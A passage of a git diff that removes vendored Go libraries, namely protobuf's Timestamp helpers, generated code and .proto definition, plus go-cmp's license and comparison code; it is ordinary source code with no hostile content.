time.Unix(ts.Seconds, int64(ts.Nanos)).UTC() - } - return t, validateTimestamp(ts) -} - -// TimestampNow returns a google.protobuf.Timestamp for the current time. -func TimestampNow() *tspb.Timestamp { - ts, err := TimestampProto(time.Now()) - if err != nil { - panic("ptypes: time.Now() out of Timestamp range") - } - return ts -} - -// TimestampProto converts the time.Time to a google.protobuf.Timestamp proto. -// It returns an error if the resulting Timestamp is invalid. -func TimestampProto(t time.Time) (*tspb.Timestamp, error) { - ts := &tspb.Timestamp{ - Seconds: t.Unix(), - Nanos: int32(t.Nanosecond()), - } - if err := validateTimestamp(ts); err != nil { - return nil, err - } - return ts, nil -} - -// TimestampString returns the RFC 3339 string for valid Timestamps. For invalid -// Timestamps, it returns an error message in parentheses. -func TimestampString(ts *tspb.Timestamp) string { - t, err := Timestamp(ts) - if err != nil { - return fmt.Sprintf("(%v)", err) - } - return t.Format(time.RFC3339Nano) -} diff --git a/vendor/github.com/golang/protobuf/ptypes/timestamp/timestamp.pb.go b/vendor/github.com/golang/protobuf/ptypes/timestamp/timestamp.pb.go deleted file mode 100644 index 31cd846de9..0000000000 --- a/vendor/github.com/golang/protobuf/ptypes/timestamp/timestamp.pb.go +++ /dev/null @@ -1,179 +0,0 @@ -// Code generated by protoc-gen-go. DO NOT EDIT. -// source: google/protobuf/timestamp.proto - -package timestamp - -import ( - fmt "fmt" - proto "github.com/golang/protobuf/proto" - math "math" -) - -// Reference imports to suppress errors if they are not otherwise used. -var _ = proto.Marshal -var _ = fmt.Errorf -var _ = math.Inf - -// This is a compile-time assertion to ensure that this generated file -// is compatible with the proto package it is being compiled against. -// A compilation error at this line likely means your copy of the -// proto package needs to be updated. -const _ = proto.ProtoPackageIsVersion3 // please upgrade the proto package - -// A Timestamp represents a point in time independent of any time zone -// or calendar, represented as seconds and fractions of seconds at -// nanosecond resolution in UTC Epoch time. It is encoded using the -// Proleptic Gregorian Calendar which extends the Gregorian calendar -// backwards to year one. It is encoded assuming all minutes are 60 -// seconds long, i.e. leap seconds are "smeared" so that no leap second -// table is needed for interpretation. Range is from -// 0001-01-01T00:00:00Z to 9999-12-31T23:59:59.999999999Z. -// By restricting to that range, we ensure that we can convert to -// and from RFC 3339 date strings. -// See [https://www.ietf.org/rfc/rfc3339.txt](https://www.ietf.org/rfc/rfc3339.txt). -// -// # Examples -// -// Example 1: Compute Timestamp from POSIX `time()`. -// -// Timestamp timestamp; -// timestamp.set_seconds(time(NULL)); -// timestamp.set_nanos(0); -// -// Example 2: Compute Timestamp from POSIX `gettimeofday()`. -// -// struct timeval tv; -// gettimeofday(&tv, NULL); -// -// Timestamp timestamp; -// timestamp.set_seconds(tv.tv_sec); -// timestamp.set_nanos(tv.tv_usec * 1000); -// -// Example 3: Compute Timestamp from Win32 `GetSystemTimeAsFileTime()`. -// -// FILETIME ft; -// GetSystemTimeAsFileTime(&ft); -// UINT64 ticks = (((UINT64)ft.dwHighDateTime) << 32) | ft.dwLowDateTime; -// -// // A Windows tick is 100 nanoseconds. Windows epoch 1601-01-01T00:00:00Z -// // is 11644473600 seconds before Unix epoch 1970-01-01T00:00:00Z. -// Timestamp timestamp; -// timestamp.set_seconds((INT64) ((ticks / 10000000) - 11644473600LL)); -// timestamp.set_nanos((INT32) ((ticks % 10000000) * 100)); -// -// Example 4: Compute Timestamp from Java `System.currentTimeMillis()`. -// -// long millis = System.currentTimeMillis(); -// -// Timestamp timestamp = Timestamp.newBuilder().setSeconds(millis / 1000) -// .setNanos((int) ((millis % 1000) * 1000000)).build(); -// -// -// Example 5: Compute Timestamp from current time in Python. -// -// timestamp = Timestamp() -// timestamp.GetCurrentTime() -// -// # JSON Mapping -// -// In JSON format, the Timestamp type is encoded as a string in the -// [RFC 3339](https://www.ietf.org/rfc/rfc3339.txt) format. That is, the -// format is "{year}-{month}-{day}T{hour}:{min}:{sec}[.{frac_sec}]Z" -// where {year} is always expressed using four digits while {month}, {day}, -// {hour}, {min}, and {sec} are zero-padded to two digits each. The fractional -// seconds, which can go up to 9 digits (i.e. up to 1 nanosecond resolution), -// are optional. The "Z" suffix indicates the timezone ("UTC"); the timezone -// is required. A proto3 JSON serializer should always use UTC (as indicated by -// "Z") when printing the Timestamp type and a proto3 JSON parser should be -// able to accept both UTC and other timezones (as indicated by an offset). -// -// For example, "2017-01-15T01:30:15.01Z" encodes 15.01 seconds past -// 01:30 UTC on January 15, 2017. -// -// In JavaScript, one can convert a Date object to this format using the -// standard [toISOString()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toISOString] -// method. In Python, a standard `datetime.datetime` object can be converted -// to this format using [`strftime`](https://docs.python.org/2/library/time.html#time.strftime) -// with the time format spec '%Y-%m-%dT%H:%M:%S.%fZ'. Likewise, in Java, one -// can use the Joda Time's [`ISODateTimeFormat.dateTime()`]( -// http://www.joda.org/joda-time/apidocs/org/joda/time/format/ISODateTimeFormat.html#dateTime-- -// ) to obtain a formatter capable of generating timestamps in this format. -// -// -type Timestamp struct { - // Represents seconds of UTC time since Unix epoch - // 1970-01-01T00:00:00Z. Must be from 0001-01-01T00:00:00Z to - // 9999-12-31T23:59:59Z inclusive. - Seconds int64 `protobuf:"varint,1,opt,name=seconds,proto3" json:"seconds,omitempty"` - // Non-negative fractions of a second at nanosecond resolution. Negative - // second values with fractions must still have non-negative nanos values - // that count forward in time. Must be from 0 to 999,999,999 - // inclusive. - Nanos int32 `protobuf:"varint,2,opt,name=nanos,proto3" json:"nanos,omitempty"` - XXX_NoUnkeyedLiteral struct{} `json:"-"` - XXX_unrecognized []byte `json:"-"` - XXX_sizecache int32 `json:"-"` -} - -func (m *Timestamp) Reset() { *m = Timestamp{} } -func (m *Timestamp) String() string { return proto.CompactTextString(m) } -func (*Timestamp) ProtoMessage() {} -func (*Timestamp) Descriptor() ([]byte, []int) { - return fileDescriptor_292007bbfe81227e, []int{0} -} - -func (*Timestamp) XXX_WellKnownType() string { return "Timestamp" } - -func (m *Timestamp) XXX_Unmarshal(b []byte) error { - return xxx_messageInfo_Timestamp.Unmarshal(m, b) -} -func (m *Timestamp) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { - return xxx_messageInfo_Timestamp.Marshal(b, m, deterministic) -} -func (m *Timestamp) XXX_Merge(src proto.Message) { - xxx_messageInfo_Timestamp.Merge(m, src) -} -func (m *Timestamp) XXX_Size() int { - return xxx_messageInfo_Timestamp.Size(m) -} -func (m *Timestamp) XXX_DiscardUnknown() { - xxx_messageInfo_Timestamp.DiscardUnknown(m) -} - -var xxx_messageInfo_Timestamp proto.InternalMessageInfo - -func (m *Timestamp) GetSeconds() int64 { - if m != nil { - return m.Seconds - } - return 0 -} - -func (m *Timestamp) GetNanos() int32 { - if m != nil { - return m.Nanos - } - return 0 -} - -func init() { - proto.RegisterType((*Timestamp)(nil), "google.protobuf.Timestamp") -} - -func init() { proto.RegisterFile("google/protobuf/timestamp.proto", fileDescriptor_292007bbfe81227e) } - -var fileDescriptor_292007bbfe81227e = []byte{ - // 191 bytes of a gzipped FileDescriptorProto - 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xe2, 0x92, 0x4f, 0xcf, 0xcf, 0x4f, - 0xcf, 0x49, 0xd5, 0x2f, 0x28, 0xca, 0x2f, 0xc9, 0x4f, 0x2a, 0x4d, 0xd3, 0x2f, 0xc9, 0xcc, 0x4d, - 0x2d, 0x2e, 0x49, 0xcc, 0x2d, 0xd0, 0x03, 0x0b, 0x09, 0xf1, 0x43, 0x14, 0xe8, 0xc1, 0x14, 0x28, - 0x59, 0x73, 0x71, 0x86, 0xc0, 0xd4, 0x08, 0x49, 0x70, 0xb1, 0x17, 0xa7, 0x26, 0xe7, 0xe7, 0xa5, - 0x14, 0x4b, 0x30, 0x2a, 0x30, 0x6a, 0x30, 0x07, 0xc1, 0xb8, 0x42, 0x22, 0x5c, 0xac, 0x79, 0x89, - 0x79, 0xf9, 0xc5, 0x12, 0x4c, 0x0a, 0x8c, 0x1a, 0xac, 0x41, 0x10, 0x8e, 0x53, 0x1d, 0x97, 0x70, - 0x72, 0x7e, 0xae, 0x1e, 0x9a, 0x99, 0x4e, 0x7c, 0x70, 0x13, 0x03, 0x40, 0x42, 0x01, 0x8c, 0x51, - 0xda, 0xe9, 0x99, 0x25, 0x19, 0xa5, 0x49, 0x7a, 0xc9, 0xf9, 0xb9, 0xfa, 0xe9, 0xf9, 0x39, 0x89, - 0x79, 0xe9, 0x08, 0x27, 0x16, 0x94, 0x54, 0x16, 0xa4, 0x16, 0x23, 0x5c, 0xfa, 0x83, 0x91, 0x71, - 0x11, 0x13, 0xb3, 0x7b, 0x80, 0xd3, 0x2a, 0x26, 0x39, 0x77, 0x88, 0xc9, 0x01, 0x50, 0xb5, 0x7a, - 0xe1, 0xa9, 0x39, 0x39, 0xde, 0x79, 0xf9, 0xe5, 0x79, 0x21, 0x20, 0x3d, 0x49, 0x6c, 0x60, 0x43, - 0x8c, 0x01, 0x01, 0x00, 0x00, 0xff, 0xff, 0xbc, 0x77, 0x4a, 0x07, 0xf7, 0x00, 0x00, 0x00, -} diff --git a/vendor/github.com/golang/protobuf/ptypes/timestamp/timestamp.proto b/vendor/github.com/golang/protobuf/ptypes/timestamp/timestamp.proto deleted file mode 100644 index eafb3fa03a..0000000000 --- a/vendor/github.com/golang/protobuf/ptypes/timestamp/timestamp.proto +++ /dev/null @@ -1,135 +0,0 @@ -// Protocol Buffers - Google's data interchange format -// Copyright 2008 Google Inc. All rights reserved. -// https://developers.google.com/protocol-buffers/ -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -syntax = "proto3"; - -package google.protobuf; - -option csharp_namespace = "Google.Protobuf.WellKnownTypes"; -option cc_enable_arenas = true; -option go_package = "github.com/golang/protobuf/ptypes/timestamp"; -option java_package = "com.google.protobuf"; -option java_outer_classname = "TimestampProto"; -option java_multiple_files = true; -option objc_class_prefix = "GPB"; - -// A Timestamp represents a point in time independent of any time zone -// or calendar, represented as seconds and fractions of seconds at -// nanosecond resolution in UTC Epoch time. It is encoded using the -// Proleptic Gregorian Calendar which extends the Gregorian calendar -// backwards to year one. It is encoded assuming all minutes are 60 -// seconds long, i.e. leap seconds are "smeared" so that no leap second -// table is needed for interpretation. Range is from -// 0001-01-01T00:00:00Z to 9999-12-31T23:59:59.999999999Z. -// By restricting to that range, we ensure that we can convert to -// and from RFC 3339 date strings. -// See [https://www.ietf.org/rfc/rfc3339.txt](https://www.ietf.org/rfc/rfc3339.txt). -// -// # Examples -// -// Example 1: Compute Timestamp from POSIX `time()`. -// -// Timestamp timestamp; -// timestamp.set_seconds(time(NULL)); -// timestamp.set_nanos(0); -// -// Example 2: Compute Timestamp from POSIX `gettimeofday()`. -// -// struct timeval tv; -// gettimeofday(&tv, NULL); -// -// Timestamp timestamp; -// timestamp.set_seconds(tv.tv_sec); -// timestamp.set_nanos(tv.tv_usec * 1000); -// -// Example 3: Compute Timestamp from Win32 `GetSystemTimeAsFileTime()`. -// -// FILETIME ft; -// GetSystemTimeAsFileTime(&ft); -// UINT64 ticks = (((UINT64)ft.dwHighDateTime) << 32) | ft.dwLowDateTime; -// -// // A Windows tick is 100 nanoseconds. Windows epoch 1601-01-01T00:00:00Z -// // is 11644473600 seconds before Unix epoch 1970-01-01T00:00:00Z. -// Timestamp timestamp; -// timestamp.set_seconds((INT64) ((ticks / 10000000) - 11644473600LL)); -// timestamp.set_nanos((INT32) ((ticks % 10000000) * 100)); -// -// Example 4: Compute Timestamp from Java `System.currentTimeMillis()`. -// -// long millis = System.currentTimeMillis(); -// -// Timestamp timestamp = Timestamp.newBuilder().setSeconds(millis / 1000) -// .setNanos((int) ((millis % 1000) * 1000000)).build(); -// -// -// Example 5: Compute Timestamp from current time in Python. -// -// timestamp = Timestamp() -// timestamp.GetCurrentTime() -// -// # JSON Mapping -// -// In JSON format, the Timestamp type is encoded as a string in the -// [RFC 3339](https://www.ietf.org/rfc/rfc3339.txt) format. That is, the -// format is "{year}-{month}-{day}T{hour}:{min}:{sec}[.{frac_sec}]Z" -// where {year} is always expressed using four digits while {month}, {day}, -// {hour}, {min}, and {sec} are zero-padded to two digits each. The fractional -// seconds, which can go up to 9 digits (i.e. up to 1 nanosecond resolution), -// are optional. The "Z" suffix indicates the timezone ("UTC"); the timezone -// is required. A proto3 JSON serializer should always use UTC (as indicated by -// "Z") when printing the Timestamp type and a proto3 JSON parser should be -// able to accept both UTC and other timezones (as indicated by an offset). -// -// For example, "2017-01-15T01:30:15.01Z" encodes 15.01 seconds past -// 01:30 UTC on January 15, 2017. -// -// In JavaScript, one can convert a Date object to this format using the -// standard [toISOString()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toISOString] -// method. In Python, a standard `datetime.datetime` object can be converted -// to this format using [`strftime`](https://docs.python.org/2/library/time.html#time.strftime) -// with the time format spec '%Y-%m-%dT%H:%M:%S.%fZ'. Likewise, in Java, one -// can use the Joda Time's [`ISODateTimeFormat.dateTime()`]( -// http://www.joda.org/joda-time/apidocs/org/joda/time/format/ISODateTimeFormat.html#dateTime-- -// ) to obtain a formatter capable of generating timestamps in this format. -// -// -message Timestamp { - - // Represents seconds of UTC time since Unix epoch - // 1970-01-01T00:00:00Z. Must be from 0001-01-01T00:00:00Z to - // 9999-12-31T23:59:59Z inclusive. - int64 seconds = 1; - - // Non-negative fractions of a second at nanosecond resolution. Negative - // second values with fractions must still have non-negative nanos values - // that count forward in time. Must be from 0 to 999,999,999 - // inclusive. - int32 nanos = 2; -} diff --git a/vendor/github.com/google/go-cmp/LICENSE b/vendor/github.com/google/go-cmp/LICENSE deleted file mode 100644 index 32017f8fa1..0000000000 --- a/vendor/github.com/google/go-cmp/LICENSE +++ /dev/null @@ -1,27 +0,0 @@ -Copyright (c) 2017 The Go Authors. All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are -met: - - * Redistributions of source code must retain the above copyright -notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above -copyright notice, this list of conditions and the following disclaimer -in the documentation and/or other materials provided with the -distribution. - * Neither the name of Google Inc. nor the names of its -contributors may be used to endorse or promote products derived from -this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/vendor/github.com/google/go-cmp/cmp/compare.go b/vendor/github.com/google/go-cmp/cmp/compare.go deleted file mode 100644 index 6656186846..0000000000 --- a/vendor/github.com/google/go-cmp/cmp/compare.go +++ /dev/null @@ -1,682 +0,0 @@ -// Copyright 2017, The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE.md file. - -// Package cmp determines equality of values. -// -// This package is intended to be a more powerful and safer alternative to -// reflect.DeepEqual for comparing whether two values are semantically equal. -// It is intended to only be used in tests, as performance is not a goal and -// it may panic if it cannot compare the values. Its propensity towards -// panicking means that its unsuitable for production environments where a -// spurious panic may be fatal. -// -// The primary features of cmp are: -// -// â€ĸ When the default behavior of equality does not suit the needs of the test, -// custom equality functions can override the equality operation. -// For example, an equality function may report floats as equal so long as they -// are within some tolerance of each other. -// -// â€ĸ Types that have an Equal method may use that method to determine equality. -// This allows package authors to determine the equality operation for the types -// that they define. -// -// â€ĸ If no custom equality functions are used and no Equal method is defined, -// equality is determined by recursively comparing the primitive kinds on both -// values, much like reflect.DeepEqual. Unlike reflect.DeepEqual, unexported -// fields are not compared by default; they result in panics unless suppressed -// by using an Ignore option (see cmpopts.IgnoreUnexported) or explicitly -// compared using the Exporter option. -package cmp - -import ( - "fmt" - "reflect" - "strings" - - "github.com/google/go-cmp/cmp/internal/diff" - "github.com/google/go-cmp/cmp/internal/flags" - "github.com/google/go-cmp/cmp/internal/function" - "github.com/google/go-cmp/cmp/internal/value" -) - -// Equal reports whether x and y are equal by recursively applying the -// following rules in the given order to x and y and all of their sub-values: -// -// â€ĸ Let S be the set of all Ignore, Transformer, and Comparer options that -// remain after applying all path filters, value filters, and type filters. -// If at least one Ignore exists in S, then the comparison is ignored. -// If the number of Transformer and Comparer options in S is greater than one, -// then Equal panics because it is ambiguous which option to use. -// If S contains a single Transformer, then use that to transform the current -// values and recursively call Equal on the output values. -// If S contains a single Comparer, then use that to compare the current values. -// Otherwise, evaluation proceeds to the next rule. -// -// â€ĸ If the values have an Equal method of the form "(T) Equal(T) bool" or -// "(T) Equal(I) bool" where T is assignable to I, then use the result of -// x.Equal(y) even if x or y is nil. Otherwise, no such method exists and -// evaluation proceeds to the next rule. -// -// â€ĸ Lastly, try to compare x and y based on their basic kinds. -// Simple kinds like booleans, integers, floats, complex numbers, strings, and -// channels are compared using the equivalent of the == operator in Go. -// Functions are only equal if they are both nil, otherwise they are unequal. -// -// Structs are equal if recursively calling Equal on all fields report equal. -// If a struct contains unexported fields, Equal panics unless an Ignore option -// (e.g., cmpopts.IgnoreUnexported) ignores that field or the Exporter option -// explicitly permits comparing the unexported field. -// -// Slices are equal if they are both nil or both non-nil, where recursively -// calling Equal on all non-ignored slice or array elements report equal. -// Empty non-nil slices and nil slices are not equal; to equate empty slices, -// consider using cmpopts.EquateEmpty. -// -// Maps are equal if they are both nil or both non-nil, where recursively -// calling Equal on all non-ignored map entries report equal. -// Map keys are equal according to the == operator. -// To use custom comparisons for map keys, consider using cmpopts.SortMaps. -// Empty non-nil maps and nil maps are not equal; to equate empty maps, -// consider using cmpopts.EquateEmpty. -// -// Pointers and interfaces are equal if they are both nil or both non-nil, -// where they have the same underlying concrete type and recursively -// calling Equal on the underlying values reports equal. -// -// Before recursing into a pointer, slice element, or map, the current path -// is checked to detect whether the address has already been visited. -// If there is a cycle, then the pointed at values are considered equal -// only if both addresses were previously visited in the same path step. -func Equal(x, y interface{}, opts ...Option) bool { - s := newState(opts) - s.compareAny(rootStep(x, y)) - return s.result.Equal() -} - -// Diff returns a human-readable report of the differences between two values: -// y - x. It returns an empty string if and only if Equal returns true for the -// same input values and options. -// -// The output is displayed as a literal in pseudo-Go syntax. -// At the start of each line, a "-" prefix indicates an element removed from y, -// a "+" prefix to indicates an element added to y, and the lack of a prefix -// indicates an element common to both x and y. If possible, the output -// uses fmt.Stringer.String or error.Error methods to produce more humanly -// readable outputs. In such cases, the string is prefixed with either an -// 's' or 'e' character, respectively, to indicate that the method was called. -// -// Do not depend on this output being stable. If you need the ability to -// programmatically interpret the difference, consider using a custom Reporter. -func Diff(x, y interface{}, opts ...Option) string { - s := newState(opts) - - // Optimization: If there are no other reporters, we can optimize for the - // common case where the result is equal (and thus no reported difference). - // This avoids the expensive construction of a difference tree. - if len(s.reporters) == 0 { - s.compareAny(rootStep(x, y)) - if s.result.Equal() { - return "" - } - s.result = diff.Result{} // Reset results - } - - r := new(defaultReporter) - s.reporters = append(s.reporters, reporter{r}) - s.compareAny(rootStep(x, y)) - d := r.String() - if (d == "") != s.result.Equal() { - panic("inconsistent difference and equality results") - } - return d -} - -// rootStep constructs the first path step. If x and y have differing types, -// then they are stored within an empty interface type. -func rootStep(x, y interface{}) PathStep { - vx := reflect.ValueOf(x) - vy := reflect.ValueOf(y) - - // If the inputs are different types, auto-wrap them in an empty interface - // so that they have the same parent type. - var t reflect.Type - if !vx.IsValid() || !vy.IsValid() || vx.Type() != vy.Type() { - t = reflect.TypeOf((*interface{})(nil)).Elem() - if vx.IsValid() { - vvx := reflect.New(t).Elem() - vvx.Set(vx) - vx = vvx - } - if vy.IsValid() { - vvy := reflect.New(t).Elem() - vvy.Set(vy) - vy = vvy - } - } else { - t = vx.Type() - } - - return &pathStep{t, vx, vy} -} - -type state struct { - // These fields represent the "comparison state". - // Calling statelessCompare must not result in observable changes to these. - result diff.Result // The current result of comparison - curPath Path // The current path in the value tree - curPtrs pointerPath // The current set of visited pointers - reporters []reporter // Optional reporters - - // recChecker checks for infinite cycles applying the same set of - // transformers upon the output of itself. - recChecker recChecker - - // dynChecker triggers pseudo-random checks for option correctness. - // It is safe for statelessCompare to mutate this value. - dynChecker dynChecker - - // These fields, once set by processOption, will not change. - exporters []exporter // List of exporters for structs with unexported fields - opts Options // List of all fundamental and filter options -} - -func newState(opts []Option) *state { - // Always ensure a validator option exists to validate the inputs. - s := &state{opts: Options{validator{}}} - s.curPtrs.Init() - s.processOption(Options(opts)) - return s -} - -func (s *state) processOption(opt Option) { - switch opt := opt.(type) { - case nil: - case Options: - for _, o := range opt { - s.processOption(o) - } - case coreOption: - type filtered interface { - isFiltered() bool - } - if fopt, ok := opt.(filtered); ok && !fopt.isFiltered() { - panic(fmt.Sprintf("cannot use an unfiltered option: %v", opt)) - } - s.opts = append(s.opts, opt) - case exporter: - s.exporters = append(s.exporters, opt) - case reporter: - s.reporters = append(s.reporters, opt) - default: - panic(fmt.Sprintf("unknown option %T", opt)) - } -} - -// statelessCompare compares two values and returns the result. -// This function is stateless in that it does not alter the current result, -// or output to any registered reporters. -func (s *state) statelessCompare(step PathStep) diff.Result { - // We do not save and restore curPath and curPtrs because all of the - // compareX methods should properly push and pop from them. - // It is an implementation bug if the contents of the paths differ from - // when calling this function to when returning from it. - - oldResult, oldReporters := s.result, s.reporters - s.result = diff.Result{} // Reset result - s.reporters = nil // Remove reporters to avoid spurious printouts - s.compareAny(step) - res := s.result - s.result, s.reporters = oldResult, oldReporters - return res -} - -func (s *state) compareAny(step PathStep) { - // Update the path stack. - s.curPath.push(step) - defer s.curPath.pop() - for _, r := range s.reporters { - r.PushStep(step) - defer r.PopStep() - } - s.recChecker.Check(s.curPath) - - // Cycle-detection for slice elements (see NOTE in compareSlice). - t := step.Type() - vx, vy := step.Values() - if si, ok := step.(SliceIndex); ok && si.isSlice && vx.IsValid() && vy.IsValid() { - px, py := vx.Addr(), vy.Addr() - if eq, visited := s.curPtrs.Push(px, py); visited { - s.report(eq, reportByCycle) - return - } - defer s.curPtrs.Pop(px, py) - } - - // Rule 1: Check whether an option applies on this node in the value tree. - if s.tryOptions(t, vx, vy) { - return - } - - // Rule 2: Check whether the type has a valid Equal method. - if s.tryMethod(t, vx, vy) { - return - } - - // Rule 3: Compare based on the underlying kind. - switch t.Kind() { - case reflect.Bool: - s.report(vx.Bool() == vy.Bool(), 0) - case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: - s.report(vx.Int() == vy.Int(), 0) - case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr: - s.report(vx.Uint() == vy.Uint(), 0) - case reflect.Float32, reflect.Float64: - s.report(vx.Float() == vy.Float(), 0) - case reflect.Complex64, reflect.Complex128: - s.report(vx.Complex() == vy.Complex(), 0) - case reflect.String: - s.report(vx.String() == vy.String(), 0) - case reflect.Chan, reflect.UnsafePointer: - s.report(vx.Pointer() == vy.Pointer(), 0) - case reflect.Func: - s.report(vx.IsNil() && vy.IsNil(), 0) - case reflect.Struct: - s.compareStruct(t, vx, vy) - case reflect.Slice, reflect.Array: - s.compareSlice(t, vx, vy) - case reflect.Map: - s.compareMap(t, vx, vy) - case reflect.Ptr: - s.comparePtr(t, vx, vy) - case reflect.Interface: - s.compareInterface(t, vx, vy) - default: - panic(fmt.Sprintf("%v kind not handled", t.Kind())) - } -} - -func (s *state) tryOptions(t reflect.Type, vx, vy reflect.Value) bool { - // Evaluate all filters and apply the remaining options. - if opt := s.opts.filter(s, t, vx, vy); opt != nil { - opt.apply(s, vx, vy) - return true - } - return false -} - -func (s *state) tryMethod(t reflect.Type, vx, vy reflect.Value) bool { - // Check if this type even has an Equal method. - m, ok := t.MethodByName("Equal") - if !ok || !function.IsType(m.Type, function.EqualAssignable) { - return false - } - - eq := s.callTTBFunc(m.Func, vx, vy) - s.report(eq, reportByMethod) - return true -} - -func (s *state) callTRFunc(f, v reflect.Value, step Transform) reflect.Value { - v = sanitizeValue(v, f.Type().In(0)) - if !s.dynChecker.Next() { - return f.Call([]reflect.Value{v})[0] - } - - // Run the function twice and ensure that we get the same results back. - // We run in goroutines so that the race detector (if enabled) can detect - // unsafe mutations to the input. - c := make(chan reflect.Value) - go detectRaces(c, f, v) - got := <-c - want := f.Call([]reflect.Value{v})[0] - if step.vx, step.vy = got, want; !s.statelessCompare(step).Equal() { - // To avoid false-positives with non-reflexive equality operations, - // we sanity check whether a value is equal to itself. - if step.vx, step.vy = want, want; !s.statelessCompare(step).Equal() { - return want - } - panic(fmt.Sprintf("non-deterministic function detected: %s", function.NameOf(f))) - } - return want -} - -func (s *state) callTTBFunc(f, x, y reflect.Value) bool { - x = sanitizeValue(x, f.Type().In(0)) - y = sanitizeValue(y, f.Type().In(1)) - if !s.dynChecker.Next() { - return f.Call([]reflect.Value{x, y})[0].Bool() - } - - // Swapping the input arguments is sufficient to check that - // f is symmetric and deterministic. - // We run in goroutines so that the race detector (if enabled) can detect - // unsafe mutations to the input. - c := make(chan reflect.Value) - go detectRaces(c, f, y, x) - got := <-c - want := f.Call([]reflect.Value{x, y})[0].Bool() - if !got.IsValid() || got.Bool() != want { - panic(fmt.Sprintf("non-deterministic or non-symmetric function detected: %s", function.NameOf(f))) - } - return want -} - -func detectRaces(c chan<- reflect.Value, f reflect.Value, vs ...reflect.Value) { - var ret reflect.Value - defer func() { - recover() // Ignore panics, let the other call to f panic instead - c <- ret - }() - ret = f.Call(vs)[0] -} - -// sanitizeValue converts nil interfaces of type T to those of type R, -// assuming that T is assignable to R. -// Otherwise, it returns the input value as is. -func sanitizeValue(v reflect.Value, t reflect.Type) reflect.Value { - // TODO(â‰Ĩgo1.10): Workaround for reflect bug (https://golang.org/issue/22143). - if !flags.AtLeastGo110 { - if v.Kind() == reflect.Interface && v.IsNil() && v.Type() != t { - return reflect.New(t).Elem() - } - } - return v -} - -func (s *state) compareStruct(t reflect.Type, vx, vy reflect.Value) { - var addr bool - var vax, vay reflect.Value // Addressable versions of vx and vy - - var mayForce, mayForceInit bool - step := StructField{&structField{}} - for i := 0; i < t.NumField(); i++ { - step.typ = t.Field(i).Type - step.vx = vx.Field(i) - step.vy = vy.Field(i) - step.name = t.Field(i).Name - step.idx = i - step.unexported = !isExported(step.name) - if step.unexported { - if step.name == "_" { - continue - } - // Defer checking of unexported fields until later to give an - // Ignore a chance to ignore the field. - if !vax.IsValid() || !vay.IsValid() { - // For retrieveUnexportedField to work, the parent struct must - // be addressable. Create a new copy of the values if - // necessary to make them addressable. - addr = vx.CanAddr() || vy.CanAddr() - vax = makeAddressable(vx) - vay = makeAddressable(vy) - } - if !mayForceInit { - for _, xf := range s.exporters { - mayForce = mayForce || xf(t) - } - mayForceInit = true - } - step.mayForce = mayForce - step.paddr = addr - step.pvx = vax - step.pvy = vay - step.field = t.Field(i) - } - s.compareAny(step) - } -} - -func (s *state) compareSlice(t reflect.Type, vx, vy reflect.Value) { - isSlice := t.Kind() == reflect.Slice - if isSlice && (vx.IsNil() || vy.IsNil()) { - s.report(vx.IsNil() && vy.IsNil(), 0) - return - } - - // NOTE: It is incorrect to call curPtrs.Push on the slice header pointer - // since slices represents a list of pointers, rather than a single pointer. - // The pointer checking logic must be handled on a per-element basis - // in compareAny. - // - // A slice header (see reflect.SliceHeader) in Go is a tuple of a starting - // pointer P, a length N, and a capacity C. Supposing each slice element has - // a memory size of M, then the slice is equivalent to the list of pointers: - // [P+i*M for i in range(N)] - // - // For example, 